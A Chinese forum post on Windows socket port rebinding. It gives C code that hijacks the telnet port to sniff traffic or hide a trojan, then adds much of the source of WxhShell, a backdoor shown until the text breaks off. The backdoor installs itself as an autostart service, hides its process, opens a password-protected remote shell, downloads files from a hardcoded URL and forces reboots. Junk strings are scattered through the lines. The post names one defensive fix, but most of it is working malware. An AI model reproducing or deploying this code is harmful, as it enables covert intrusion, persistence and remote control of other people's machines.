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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Bw ]Y7 1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {_GhS%  
Flrpk`4  
  saddr.sin_family = AF_INET; H B}!Lf#*P  
\J>a*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [ &cCE   
WJp9io[GM  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Fc{X$hh<  
s}NE[Tw  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 E>t5/^c)*w  
HAof,* h$  
  这意味着什么?意味着可以进行如下的攻击: g]sc)4  
n*UD0U}`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -RisZ-n*  
5 *8 V4ca  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :T62_cFG  
?pS,?>J f  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Vz(O=w=  
ZK1H%&P=R  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  'P1I-ue  
+j*hbG=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 KCE5Z?k  
n-/ {H4\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 cO]_5@#f'8  
3 ZZ"mlk*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @2>A\0U  
k E^%w?C  
  #include YueYa#7z  
  #include A4lW8&rHI  
  #include 8.9Z0  
  #include    tVB9kxtE  
  DWORD WINAPI ClientThread(LPVOID lpParam);   C,2k W`[V  
  int main() #GTR}|Aga  
  { k,p:!S(bl  
  WORD wVersionRequested;  /i'dhiG  
  DWORD ret; P4&3jQ[o  
  WSADATA wsaData; z}'-gv\,  
  BOOL val; F/91Es  
  SOCKADDR_IN saddr; l[Hgh,  
  SOCKADDR_IN scaddr; ~N<zv( {lG  
  int err; eXN\w]GE  
  SOCKET s; (#uz_/xXa  
  SOCKET sc; ZtS>'W8l  
  int caddsize; _Hhf.DmUAH  
  HANDLE mt; sqtMhUQ?>w  
  DWORD tid;   N- !>\n  
  wVersionRequested = MAKEWORD( 2, 2 ); v}vwk8  
  err = WSAStartup( wVersionRequested, &wsaData ); n};:*N! v  
  if ( err != 0 ) { }XJA#@  
  printf("error!WSAStartup failed!\n"); /$w,8pV =  
  return -1; `x{*P.]N!<  
  } P!c.!8C$  
  saddr.sin_family = AF_INET; ] LcCom:]  
   4=BIYC"Lu  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %rU8^'Gu  
d) i:-#Q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (gdi 2  
  saddr.sin_port = htons(23); >iZ"#1ZL2O  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #(i9G^K  
  { FTVV+9.l:  
  printf("error!socket failed!\n"); 0Nvk|uI V[  
  return -1; Bri yy  
  } Pdq}~um3{  
  val = TRUE; J>@T'#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9L2]PU v  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Wu}84W"!.V  
  { IE^xk@  
  printf("error!setsockopt failed!\n"); ^Z dDs8j  
  return -1; |` N|S  
  } .paKV"LJ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6cO3 6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 QD2;JI2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]0Y5 Z)3:z  
3} Xf  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jN[P$} #b`  
  { F gi&CJ8Q  
  ret=GetLastError(); y'$R e  
  printf("error!bind failed!\n"); bdS  
  return -1; 2LO8SJ#  
  }  S2;u!f  
  listen(s,2); \ 5&-U@  
  while(1) r]sN I[  
  { S.4gfY  
  caddsize = sizeof(scaddr); 4l2/eh]Hc(  
  //接受连接请求 ;hz;|\ko5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); mz[Q]e~&i  
  if(sc!=INVALID_SOCKET) \LN!k-c  
  { *n"{]tj^>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); zwLJ|>  
  if(mt==NULL) q(Q$lRj/I-  
  { yi29+T7j4S  
  printf("Thread Creat Failed!\n"); UrMEL; @g  
  break; ]!um}8!}  
  } sz"N,-<Ig  
  } qKSS 2f $  
  CloseHandle(mt); sGAOK%28  
  } uK6'TJ  
  closesocket(s); n'5LY9"  
  WSACleanup(); ZH~=;S-t  
  return 0; fTq/9=Rq4  
  }   =._V$:a6o  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~W>3EJghR,  
  { L?Fb}  
  SOCKET ss = (SOCKET)lpParam; ~x-"?K  
  SOCKET sc; e+TSjm  
  unsigned char buf[4096]; `X8wnD  
  SOCKADDR_IN saddr; _ SuW86  
  long num; TJO?BX_9  
  DWORD val; GJ9'i-\*\  
  DWORD ret; iAl.(j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 rGn6S &-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   * ^+]`S  
  saddr.sin_family = AF_INET; }wIF$v?M  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Os rHA  
  saddr.sin_port = htons(23); >z"\l  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) es6]c%o:t^  
  { B7 #O>a  
  printf("error!socket failed!\n"); Jyz*W!kI  
  return -1; B - 1Kfc  
  } L2Vj2o"x?  
  val = 100; ~WW!P_wI,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +{r~-Rn3  
  { 4#Bzq3,|  
  ret = GetLastError(); X$Y\/|!z  
  return -1; ,6EFJVu \  
  } pXhN?joe  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ] >4CBm$  
  { p=d,kY  
  ret = GetLastError(); "XB6k 0.#  
  return -1; o..iT:f;n  
  } L!c.1Rf_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !>8/Xz~-  
  { F*Y]^9]  
  printf("error!socket connect failed!\n"); w;wgh`ur  
  closesocket(sc); CZzgPId%x  
  closesocket(ss); sJ>JHv  
  return -1; =mp"=%  
  } EJid@  
  while(1) SR$?pJh D%  
  { %_L~"E 2e  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $ dR@Q?_{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]=%oBxWAP  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 U&'Xs z  
  num = recv(ss,buf,4096,0); MwHxn%  
  if(num>0) ul&}'jBr  
  send(sc,buf,num,0); \gW6E^  
  else if(num==0) @TraEBJGL  
  break; j9r%OZw{  
  num = recv(sc,buf,4096,0);  84g8$~M  
  if(num>0) $fhR1A  
  send(ss,buf,num,0); (^~0%1  
  else if(num==0) kTfE*We9  
  break; |I2~@RfpO:  
  } Ywo=w:'  
  closesocket(ss); MFtC2*  
  closesocket(sc); k++"  
  return 0 ; K&{ruHoKB  
  } X EL~y  
>h9T/J8  
i4dy0jfN  
========================================================== #PGpB5vnaA  
( d1ho=  
下边附上一个代码,,WXhSHELL NcyE_T  
n.b_fkZNr  
========================================================== )~{8C:  
*?x[pqGq  
#include "stdafx.h" ~j36(`t  
S rom@c  
#include <stdio.h> TNF+yj-|X:  
#include <string.h> w\}Q.$@  
#include <windows.h> ,c&%/"i:w  
#include <winsock2.h> O|mWQp^?q  
#include <winsvc.h> p_EWpSOt7  
#include <urlmon.h> w gkY \Q  
5`FPv4   
#pragma comment (lib, "Ws2_32.lib")  *s%M!YM  
#pragma comment (lib, "urlmon.lib") HXP/2&|JY  
u):Nq<X  
#define MAX_USER   100 // 最大客户端连接数 Z&6*8#wn  
#define BUF_SOCK   200 // sock buffer 8FJPw"9  
#define KEY_BUFF   255 // 输入 buffer G\B:iyKl  
1#lH5|XQ  
#define REBOOT     0   // 重启 ~93#L_V_O  
#define SHUTDOWN   1   // 关机 I~&*8)xM  
?hOv Y)  
#define DEF_PORT   5000 // 监听端口 `s\E"QeZN  
@^t1SPp  
#define REG_LEN     16   // 注册表键长度  bE%*ZB  
#define SVC_LEN     80   // NT服务名长度 We@wN:  
Jl fIYf~  
// 从dll定义API >l=;6QL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); | E\u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l}XnCOIT,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %g7B*AX]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |o#pd\  
;6q`c !p7  
// wxhshell配置信息 v9GfudTZR  
struct WSCFG { o(@^V!}V  
  int ws_port;         // 监听端口 V?r(;x  
  char ws_passstr[REG_LEN]; // 口令 {S"!c.  
  int ws_autoins;       // 安装标记, 1=yes 0=no |!xqkmX  
  char ws_regname[REG_LEN]; // 注册表键名 OP98sd&T  
  char ws_svcname[REG_LEN]; // 服务名 j|IvDrm#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I^?hVH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *d}{7UMy#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Tilw.z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yhxZ^ (I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [-hsG E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rds0EZ4W  
h9cx~/7,_)  
}; )vD|VLV   
W744hq@P%  
// default Wxhshell configuration Jyyr'1/<k  
struct WSCFG wscfg={DEF_PORT, *|S{%z9>  
    "xuhuanlingzhe", yC9~X='D  
    1, ) B[S4K2  
    "Wxhshell", Jzj>=jWX@  
    "Wxhshell", c{\x< AwO  
            "WxhShell Service", ;*>':-4  
    "Wrsky Windows CmdShell Service", $sb `BS  
    "Please Input Your Password: ", 2T-3rC)  
  1, ]Vd1fkXO0  
  "http://www.wrsky.com/wxhshell.exe", 8M6Qn7{L  
  "Wxhshell.exe" w!/|aZ~*  
    }; x-H R[{C  
%!V=noo  
// 消息定义模块 g*$yUt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jWGX :XB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r^+n06[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wyUfmk_}  
char *msg_ws_ext="\n\rExit."; : G0^t  
char *msg_ws_end="\n\rQuit."; FK,Jk04on  
char *msg_ws_boot="\n\rReboot..."; DX<xkS[P  
char *msg_ws_poff="\n\rShutdown..."; ;s w3MRJ  
char *msg_ws_down="\n\rSave to "; 7s2e> 6Q[  
ZnRE:=  
char *msg_ws_err="\n\rErr!"; ke5_lr(  
char *msg_ws_ok="\n\rOK!"; vf h*`G$  
]3~X!(O  
char ExeFile[MAX_PATH]; d^G5Pq  
int nUser = 0; cE3V0voSw1  
HANDLE handles[MAX_USER]; r&O:Bt}x  
int OsIsNt; )B5(V5-!|  
~.<}/GP]_  
SERVICE_STATUS       serviceStatus; --g? `4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !kWx'tJ$  
h 7*#;j  
// 函数声明 8@BN6  
int Install(void); <'92\O  
int Uninstall(void); j(`V& S  
int DownloadFile(char *sURL, SOCKET wsh); r]O8|#P,Z$  
int Boot(int flag); $6yr:2Xvt  
void HideProc(void); ZsL-vlv  
int GetOsVer(void); zXT[}J VV  
int Wxhshell(SOCKET wsl); Yc~c(1VRz  
void TalkWithClient(void *cs); t zSg`7H!  
int CmdShell(SOCKET sock); \t+q1S1  
int StartFromService(void); \I~9%QJ>  
int StartWxhshell(LPSTR lpCmdLine); M{M?#Q  
] KR\<MJK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D>I|(B!.p8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7Hp~:i30  
XjV,wsZ=  
// 数据结构和表定义 U\`H0'  
SERVICE_TABLE_ENTRY DispatchTable[] = A]mXV4RmI  
{ qaN%&K9F8  
{wscfg.ws_svcname, NTServiceMain}, xDTDfhA  
{NULL, NULL} 4e5 5  
}; kpt 0spp  
f3Cjj]RFv  
// 自我安装 b|z_1j6U  
int Install(void) \IG"Te  
{ 4'ymPPY  
  char svExeFile[MAX_PATH]; ~}F$1;t0  
  HKEY key; [MVG\6Up(  
  strcpy(svExeFile,ExeFile); 84$#!=v  
6K zdWT  
// 如果是win9x系统,修改注册表设为自启动 +:fr(s!OE  
if(!OsIsNt) { rezH5d6z62  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7Yrp#u1!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H3Z"u  
  RegCloseKey(key); _/zK ^S)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WQT;k0;T]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _N&]w*ce  
  RegCloseKey(key); rxJWU JMxK  
  return 0; }n91aE3v  
    } ;wkoQ8FD9  
  } WSPlM"h  
} `&-)(#  
else { yhi6RDS  
235wl  
// 如果是NT以上系统,安装为系统服务 X #!oG)or  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 47 _";g@X  
if (schSCManager!=0) ;'x\L<b/)  
{ 4 9zOhG |  
  SC_HANDLE schService = CreateService {_i.IPp~  
  ( |p7k2wzN  
  schSCManager, h"~GaI  
  wscfg.ws_svcname, O-ZB4hN8  
  wscfg.ws_svcdisp, |p1 pa4%}  
  SERVICE_ALL_ACCESS, ZHku3)V=o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j. L`@  
  SERVICE_AUTO_START, D3+UV+&R/  
  SERVICE_ERROR_NORMAL, )FfJ%oT}  
  svExeFile, NhDM h8=$^  
  NULL, #r4S%  
  NULL, ihr l!A5  
  NULL, /6%<97/d  
  NULL, 0 G.y_<=  
  NULL z<rYh96uA  
  ); 4vk^=  
  if (schService!=0) -}O>m}l  
  { 0Tm"Zh?B|  
  CloseServiceHandle(schService); ja2PmPv  
  CloseServiceHandle(schSCManager); TdAHw @(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -UM5&R+o  
  strcat(svExeFile,wscfg.ws_svcname); @9!,]n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K{)YnY_E;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E"P5rT  
  RegCloseKey(key); xgeKz^,  
  return 0; 75pz' Cb  
    } H8}}R~ZO  
  } ;|e6Qc9  
  CloseServiceHandle(schSCManager); EFg s}BV_9  
} MFyMo  
} z!={d1u#T  
Gv};mkX[N  
return 1; aDik1Q  
} p2UZqq2  
Gu3'<hTlxd  
// 自我卸载 ;-koMD!2F  
int Uninstall(void) I=,u7w`m  
{ v<`1z?dch  
  HKEY key; EQ j2:9f  
W~1MeAI  
if(!OsIsNt) { GoGo@5n(Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i*JbFukG  
  RegDeleteValue(key,wscfg.ws_regname); $^2 j#]uX  
  RegCloseKey(key); kS$HIOt823  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xCd9b:jG  
  RegDeleteValue(key,wscfg.ws_regname); 0-^wY8n-=  
  RegCloseKey(key); VS#i>nlT  
  return 0; jy]< q^J  
  } #egP*{F   
} o >=YoG  
} &&w7-  
else { %0PZZl5b  
S:UtmS+K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7b_Ihv   
if (schSCManager!=0) fU+A~oL%I  
{ ZcXqH7`r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hwmpiyu   
  if (schService!=0) Z' 0Gd@/  
  { I499 Rrw#E  
  if(DeleteService(schService)!=0) { 1f 0"z1   
  CloseServiceHandle(schService); T#1>pED  
  CloseServiceHandle(schSCManager); r"a4 ;&mf  
  return 0; }31z 35  
  } <mc[-To  
  CloseServiceHandle(schService); MK]S205{  
  } $+Hv5]/hb  
  CloseServiceHandle(schSCManager); 5Dy800.B2  
} ~%4#R4&  
} &8Cuu$T9)  
i6[,m*q~2x  
return 1; :;u~M(R  
} N~ -N Q  
%^=fjJGV{~  
// 从指定url下载文件 Fc;)p88[  
int DownloadFile(char *sURL, SOCKET wsh) #![i {7  
{ Ml)Xq-&wc  
  HRESULT hr; "R$ee^  
char seps[]= "/"; JF>mybB  
char *token;  ##7,  
char *file; 4QnJ;&~  
char myURL[MAX_PATH]; Pl=X<Bp  
char myFILE[MAX_PATH]; w+cI0lj  
1rV?^5  
strcpy(myURL,sURL); {PHxm  
  token=strtok(myURL,seps); ybtje=3E  
  while(token!=NULL) }6P]32d  
  { P X](hc=  
    file=token; _4z>I/R>Z  
  token=strtok(NULL,seps); K<b -|t9f  
  } zxCxGT\;  
nTSGcMI  
GetCurrentDirectory(MAX_PATH,myFILE); %D z|p]49!  
strcat(myFILE, "\\"); %ma1LN[  
strcat(myFILE, file); ;o\0:fzr  
  send(wsh,myFILE,strlen(myFILE),0); ZYBNS~Q  
send(wsh,"...",3,0); (tEW#l'}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :yvUHx  
  if(hr==S_OK) 5:f}bW*  
return 0; >P5 EW!d  
else Dyp'a  
return 1; -aGv#!aIl  
FXFQ@q*}v  
} YTq>K/  
H BmjB=  
// 系统电源模块 AKM\1H3U  
int Boot(int flag) &adKKYN  
{ hHoc7  
  HANDLE hToken; Zx<s-J4o=w  
  TOKEN_PRIVILEGES tkp; J3Q.6e=7  
SSi}1  
  if(OsIsNt) { (@`+Le  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SDV} bN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "P< drz<  
    tkp.PrivilegeCount = 1; m%q#x8Fp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A0S6 4(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9 4W9P't  
if(flag==REBOOT) { -4b9(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Yc#oGCt  
  return 0; XaD}J:Xq  
} BZsw(l4/0'  
else { 4 !~JNO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;4XX8W1  
  return 0; XLFJ?$)Tro  
} ~@R=]l"  
  } lbg!B4,  
  else { \u,hS*v0  
if(flag==REBOOT) { f&^K>Jt1@#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :4Sj2  
  return 0; U,Z.MP Q  
} TA}gCXE e  
else { *8"5mC ;"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @q5!3Nz  
  return 0; NK*~UePy  
} HI']{2p2}t  
} Qd]-i3^0  
Old5E&  
return 1; SL:o.g(>4  
} 2hf]XV\  
Yk<?HNf  
// win9x进程隐藏模块 &e_M \D  
void HideProc(void) (q*T.   
{ )R{4"&&2  
0_qqBL.4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *BBP"_$  
  if ( hKernel != NULL ) 6}Y^X  
  { @<},-u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ksm=<I"C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EEn}Gw  
    FreeLibrary(hKernel); SLz^Wg._  
  } *8js{G0h  
9+=U&*  
return; 5`6@CRef  
} 2#6yO`?uo  
|; {wy  
// 获取操作系统版本 .'+Tnu(5q  
int GetOsVer(void) $CHr i|  
{ 1>57rx"l  
  OSVERSIONINFO winfo; ^"l>;.w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wp.<}=|u  
  GetVersionEx(&winfo); $>5|TG 0i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (EuHQ &<^9  
  return 1; wC<!,tB(8  
  else  uGc}^a2  
  return 0; K-k;`s#  
} A(Ugam~}  
zWB>;Z}  
// 客户端句柄模块 \|DcWH1  
int Wxhshell(SOCKET wsl) 292e0cE  
{ &c ayhL/%  
  SOCKET wsh; 98Pt&C?-B  
  struct sockaddr_in client; a,M7Bb x  
  DWORD myID; <G\q/!@_  
O)`R)MQ)  
  while(nUser<MAX_USER) 2@:Go`mg  
{ 5"^$3&)  
  int nSize=sizeof(client); QF'N8Kla  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [P)HVFy|l  
  if(wsh==INVALID_SOCKET) return 1; (tx6U.Oy  
9dJARSUuF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =<iK3bPkU  
if(handles[nUser]==0) 8>6+]]O  
  closesocket(wsh); o}7`SYn  
else {Z1j>h$  
  nUser++; ui YZk3  
  } q*?LXKi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /u*((AJ?Qv  
ggJn oL  
  return 0; O|?>rK  
} jUI'F4.5x-  
wb.47S8  
// 关闭 socket !m' lOz  
void CloseIt(SOCKET wsh) t_x \&+W  
{ )g9Zw_3  
closesocket(wsh); [$;6LFs }  
nUser--; pDCQ?VW  
ExitThread(0); <i%.bfQ/-  
} l`~*" 4|/  
u z4P  
// 客户端请求句柄 6i(nyA 2!  
void TalkWithClient(void *cs) B;2os^*  
{ # x!47Y{  
R4]t D|  
  SOCKET wsh=(SOCKET)cs; iZwt,)(  
  char pwd[SVC_LEN]; UOy`N~\gh+  
  char cmd[KEY_BUFF]; O9dIobu4  
char chr[1]; 2u*o/L+  
int i,j; NK~j>>^;v  
"qIO,\3T  
  while (nUser < MAX_USER) { lBgf' b3$  
@i$9c)D  
if(wscfg.ws_passstr) { }tua0{N:z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,L6d~>=41  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g"FG7E&  
  //ZeroMemory(pwd,KEY_BUFF); /3L1Un*  
      i=0; w(eAmN:zR  
  while(i<SVC_LEN) { iLws;3UX;x  
S c_*L<$  
  // 设置超时 @F+4 NL-'P  
  fd_set FdRead; 4=%Uv^M  
  struct timeval TimeOut; #78p# E  
  FD_ZERO(&FdRead); .`)\GjDv  
  FD_SET(wsh,&FdRead); .MXznz  
  TimeOut.tv_sec=8; XWf8ZZj  
  TimeOut.tv_usec=0; :0Rd )*k,v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u-qg9qXJb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7(QRG\G#  
FL,jlE_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kBS;SDl)  
  pwd=chr[0]; g>1yQ  
  if(chr[0]==0xd || chr[0]==0xa) { |-e*^|  
  pwd=0; g G>1  
  break; gah3d*d7  
  } )~rf x  
  i++; |ITp$  _S  
    } sbjAZzrX2i  
" 2Dz5L1v  
  // 如果是非法用户,关闭 socket <IC=x(T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 26G2. /**<  
} SsIy;l  
1y2D]h/'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {Uz@`QO3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9gZMfP  
C},;M @xV  
while(1) { w-C ~ Ik  
Vl%AN;o  
  ZeroMemory(cmd,KEY_BUFF); 1`^l8V(  
aEo!yea  
      // 自动支持客户端 telnet标准   o8-BTq8  
  j=0; ] QGYEjW  
  while(j<KEY_BUFF) { wc* 5s7_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j&6,%s-M`a  
  cmd[j]=chr[0]; mS p -  
  if(chr[0]==0xa || chr[0]==0xd) { '_lyoVP  
  cmd[j]=0; zH0%; o}  
  break; [ >O4hifq  
  } 9z$]hl  
  j++; Z3g6 ?2w6  
    } z\Rs?v"  
3l_Ko %qS  
  // 下载文件 `MA ee8u'  
  if(strstr(cmd,"http://")) { X/ gIH/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gbsRf&4h  
  if(DownloadFile(cmd,wsh)) y>Zvose  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K kP}z  
  else 1P. W 34  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^VK-[Sz&  
  } d rnqX-E;  
  else { {>H#/I8si  
;5:g%Dt  
    switch(cmd[0]) { ZM K"3c9  
  <W~5;m  
  // 帮助 Q&] }`Rp=  
  case '?': { H%t/-'U?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O$k;p<?M  
    break; 7!+kyA\}r^  
  } jJk M:iR  
  // 安装 D9zw' R Y  
  case 'i': { rlT[tOVAY  
    if(Install()) XSyCT0f08  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PVP,2Yq!  
    else Fq!12/Nn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F1J Sf&8  
    break; %Koc^ pb)  
    } #~3x^ 4Y  
  // 卸载 M lgE-Lm  
  case 'r': { 3UU]w`At  
    if(Uninstall()) |RDmY!9&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T)&J}^j  
    else 2.u d P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a% |[m,FvP  
    break; ,DK|jf  
    } ;ZHKTOoK  
  // 显示 wxhshell 所在路径 "D}PbT[V  
  case 'p': { ^.5 L\  
    char svExeFile[MAX_PATH]; DQ :w9  
    strcpy(svExeFile,"\n\r"); C7[ge&  
      strcat(svExeFile,ExeFile); jCDZ$W89  
        send(wsh,svExeFile,strlen(svExeFile),0); *vc=>AEc  
    break; * t6 XU  
    } |7,|-s[R^  
  // 重启 no- Lx-x  
  case 'b': { , mEFp_a+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %;yDiQ!+  
    if(Boot(REBOOT)) m^rgzx19?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pk9s~}X  
    else { F@Y)yi?z  
    closesocket(wsh); ;j])h !8X  
    ExitThread(0); xx0s`5  
    } EF=.L{  
    break; x|i"x+o  
    } RBIf6oxdE  
  // 关机 #u~s,F$De  
  case 'd': { g <^Y^~+E  
